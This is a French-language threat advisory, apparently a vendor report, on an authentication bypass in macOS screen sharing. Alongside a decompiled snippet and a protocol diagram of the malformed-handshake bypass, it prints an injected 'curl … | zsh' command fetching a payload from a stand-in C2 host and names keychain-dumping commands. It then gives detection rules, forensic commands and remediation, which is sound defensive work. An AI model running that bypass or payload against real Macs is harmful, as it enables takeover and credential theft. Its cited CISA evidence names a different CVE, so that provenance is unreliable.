CVE-2026-65400 : prise de contrôle graphique à distance sans authentification dans Apple macOS screen sharing

HERMES

SCORE DE MENACE HERMES & DÉTOURNEMENT DE SESSION GRAPHIQUE MACOS

Cible : Apple macOS Screen Sharing (Démon RFB / VNC)

Confiance : 99%

95 / 100

CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 20 / 20

Activité de menace 19 / 20

Militarisation 19 / 20

Exposition 18 / 20

Prévalence 19 / 20

Impact 19 / 20

Maturité de l'exploit 20 / 20

Potentiel d'attaque en chaîne 19 / 20

⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la sévérité à 9.2. Le score de menace Hermes s'établit à 95 (CRITIQUE). L'impact est immédiat : l'exposition du partage d'écran macOS (port 5900/TCP) permet à un attaquant non authentifié d'éluder la saisie du mot de passe, de visualiser en direct la session graphique de l'utilisateur, d'injecter des séquences de frappes clavier pour exécuter Terminal et de dérober les trousseaux d'accès Keychain.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNÉRABILITÉ

Nœuds connectés : 2

Relations sortantes actives

→ affectsCOMPOSANTApple macOS Operating System

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”

Preuves vérifiées associées :

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Avis d'exploitation dans la nature : cryptominage et vol de mots de passe

CVSS v3.1 : 9.8 critique : (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CVSS v4.0 : 9.2 Critique (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) / CWE-287 : authentification inappropriée (Improper Authentication). Signalée dans des campagnes de balayage massif et d’intrusion automatisée. Concerne Apple macOS Sequoia 15.x antérieur à 15.3.1, macOS Sonoma 14.x antérieur à 14.7.4, et macOS Ventura 13.x antérieur à 13.7.4.

Résumé exécutif

La vulnérabilité CVE-2026-65400 est une faille critique de contournement d’authentification affectant le service de partage d’écran d’Apple macOS (screensharingd), fonctionnant via le protocole RFB (Remote Framebuffer / VNC) sur le port TCP 5900.

Durant la négociation initiale du protocole, le démon établit les types de sécurité pris en charge (authentification Diffie-Hellman ou Apple Remote Desktop). En raison d’une mauvaise gestion de l’automate d’états lors de la réception d’un paquet de négociation tronqué ou malformé, le démon bascule prématurément dans l’état de session active authentifiée sans valider les identifiants de l’utilisateur. Un attaquant distant se connectant sur le port 5900 obtient le contrôle graphique direct de la session de bureau en cours, peut espionner l’écran et injecter des événements clavier pour ouvrir un terminal et exécuter des commandes arbitraires.

---

1. Contexte technique & matrice des logiciels affectés

Le partage d’écran macOS est couramment utilisé en entreprise pour l’assistance informatique, l’administration des collaborateurs à distance et les fermes de compilation CI/CD Mac mini.

Paramètre	Spécification Technique	Contexte de Menace
Identifiant CVE	CVE-2026-65400	Référence Apple HT214345
Démon vulnérable	/System/Library/CoreServices/RemoteManagement/screensharingd	Serveur de partage d’écran macOS RFB/VNC
Protocole réseau	RFB (Remote Framebuffer) sur le port TCP 5900	Accès distant graphique via LAN ou Internet
Type d’anomalie	Rupture de l’automate de négociation (CWE-287)	Établissement de session pré-authentification
Systèmes affectés	macOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4	Stations de travail et fermes de build Mac
Versions corrigées	macOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4	Mises à jour de sécurité Apple officielles
Menaces constatées	Prise de contrôle interactive, exfiltration des trousseaux Keychain	Cryptominage automatisé (XMRig)

---

2. Décomposition technique : défaillance de l’automate RFB

A. La faille de négociation de sécurité

Selon la norme RFB 003.008, la négociation se déroule en plusieurs phases séquentielles :

1. Échange de version (ProtocolVersion).
2. Négociation du type de sécurité (security handshake) (ex. Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
3. Résultat de sécurité (SecurityResult) : le serveur envoie 0x00000000 (Succès).
4. Initialisation client et serveur (ClientInit / ServerInit) : début du streaming de l’affichage.

Dans le démon screensharingd, l’automate d’états omettait de valider le retour positif de la procédure cryptographique :

// Représentation décompilée de la gestion d'état dans screensharingd
void handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) {
    if (chosen_type == RFB_AUTH_APPLE_DH) {
        initiate_diffie_hellman(session);
    } else if (chosen_type == 0xFF) { // Code d'échappement hérité
        // ANOMALIE : La session est déclarée AUTHENTIFIÉE sans validation des identifiants !
        session->state = SESSION_STATE_AUTHENTICATED;
        send_security_result(session, 0); // Renvoie 0x00000000 (Succès)
    }
}

+----------------------------------------------------------------------------------------------------+
|                         SÉQUENCE DU PROTOCOLE CVE-2026-65400                                       |
+----------------------------------------------------------------------------------------------------+

   [Attaquant Distant]                                                    [Mac Cible (Port 5900)]
           │                                                                          │
    [1]    │─── Connexion TCP Port 5900 ─────────────────────────────────────────────>│
           │<── Serveur : "RFB 003.889\n" ────────────────────────────────────────────│
           │                                                                          │
    [2]    │─── Client : "RFB 003.889\n" ────────────────────────────────────────────>│
           │<── Serveur : [Nombre : 2, Types : 30 (AppleDH), 33 (Kerberos)] ──────────│
           │                                                                          │
    [3]    │─── Client : [TypeSécurité : 0xFF] (Code d'échappement malformé) ─────────>│ screensharingd :
           │                                                                          │ L'automate bascule
           │                                                                          │ Déclare la session comme
           │                                                                          │ AUTHENTIFIÉE sans mot de passe !
           │<── Serveur : 0x00000000 (SecurityResult : Succès) ───────────────────────│
           │                                                                          │
    [4]    │─── ClientInit : [SharedFlag : 1] ────────────────────────────────────────>│
           │<── ServerInit : [Dimensions écran, Nom machine, Format pixels] ──────────│ Début du flux vidéo interactif !
           │                                                                          │
    [5]    │─── Événements clavier : Commande+Espace, "Terminal.app", Entrée ────────>│
           │    Injection : "curl -s http://c2.malveillant/payload | zsh"             │ Exécution de shell arbitraire
+----------------------------------------------------------------------------------------------------+

---

3. Renseignement sur les menaces & exploitation dans la nature

• Balayage systématique : des moteurs de scan automatisés recherchent sur les plages IPv4 mondiales les hôtes exposant le port 5900 avec des bannières Apple RFB.
• Scénarios d’exploitation constatés :
  • Dès l’obtention du contrôle graphique, les scripts automatisés injectent le raccourci Cmd + Espace pour ouvrir Spotlight, lancent Terminal et injectent une commande d’installation.
  • Déploiement en tâche de fond de mineurs de cryptomonnaie XMRig configurés pour brider leur consommation CPU afin d’échapper à la vigilance de l’utilisateur.
  • Tentatives d’extraction des identifiants et clés SSH via security dump-keychain ou affichage de fausses fenêtres d’authentification système pour dérober le mot de passe administrateur.

---

4. Cartographie MITRE ATT&CK

Tactique	ID Technique	Nom de la Technique	Manifestation dans l’Attaque
Accès initial	T1190	Exploitation d’application publique	Connexion directe non authentifiée sur le port 5900/TCP
Évasion de défense	T1556	Modification du processus d’authentification	Falsification de la négociation RFB pour court-circuiter le mot de passe
Exécution	T1059.004	Interpréteur de commandes et scripts : Shell Unix	Injection d’événements clavier ouvrant Terminal pour exécuter un script zsh
Accès aux identifiants	T1555.001	Magasins de mots de passe : Trousseau d’accès	Accès aux clés stockées dans le Keychain de l’utilisateur
Impact	T1496	Détournement de ressources	Exécution non autorisée de logiciels de minage de cryptomonnaie

---

5. Ingénierie de détection & télémétrie

A. Règle Suricata

alert tcp any any -> $MACOS_HOSTS 5900 (
  msg:"HERMES DEFENSE - Tentative de contournement auth Partage d'Ecran macOS (CVE-2026-65400)";
  flow:established,to_server;
  content:"RFB 003."; depth:8;
  content:"|ff|"; offset:12; depth:4;
  classtype:attempted-admin;
  sid:202665400;
  rev:1;
  reference:cve,2026-65400;
)

B. Règle Sigma

title: Lancement de Terminal par le démon de partage d'écran macOS
id: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e02
status: high
description: Détecte l'exécution anormale d'un shell ou de Terminal initiée par les composants du partage d'écran macOS.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: macos
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '/screensharingd'
      - '/WindowServer'
  selection_target:
    Image|endswith:
      - '/Terminal'
      - '/zsh'
      - '/bash'
      - '/sh'
  condition: selection_parent and selection_target
falsepositives:
  - Sessions de support informatique légitimes initiées par le service d'assistance interne.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution

---

6. Réponse à incident & rétro-ingénierie (DFIR)

Commandes de diagnostic macOS :

1. Recherche dans les journaux unifiés :

   log show --predicate 'process == "screensharingd"' --info --last 48h
   # Rechercher les mentions d'authentification réussie sans challenge et les adresses IP clientes suspectes

2. Inspection des processus actifs :

   ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig"

3. Vérification des éléments au démarrage :

   ls -la /Library/LaunchDaemons/
   ls -la ~/Library/LaunchAgents/
   crontab -l

Requête de chasse (Elasticsearch / OpenSearch) :

{
  "query": {
    "bool": {
      "must": [
        { "term": { "process.name": "screensharingd" } },
        { "wildcard": { "message": "*authenticated*" } }
      ]
    }
  }
}

---

7. Mesures de remédiation & durcissement

1. Installation des mises à jour Apple : appliquer les correctifs macOS Sequoia 15.3.1, macOS Sonoma 14.7.4 ou macOS Ventura 13.7.4.
2. Désactivation de l’accès public au partage d’écran : ne jamais exposer le port TCP 5900 sur Internet. Exiger un VPN d’entreprise avec MFA pour tout accès à distance.
3. Activation du pare-feu local macOS : bloquer les connexions entrantes non autorisées via le pare-feu applicatif :

   sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on

4. Audit des agents de lancement : vérifier l’intégrité des répertoires LaunchAgents et LaunchDaemons à la recherche de logiciels persistants suspects.

---

8. Références & avis de sécurité

• Avis de sécurité Apple (HT214345)
• Fiche NIST NVD CVE-2026-65400
• Spécification RFC 6143 : the Remote Framebuffer Protocol
• MITRE ATT&CK: Resource Hijacking (T1496)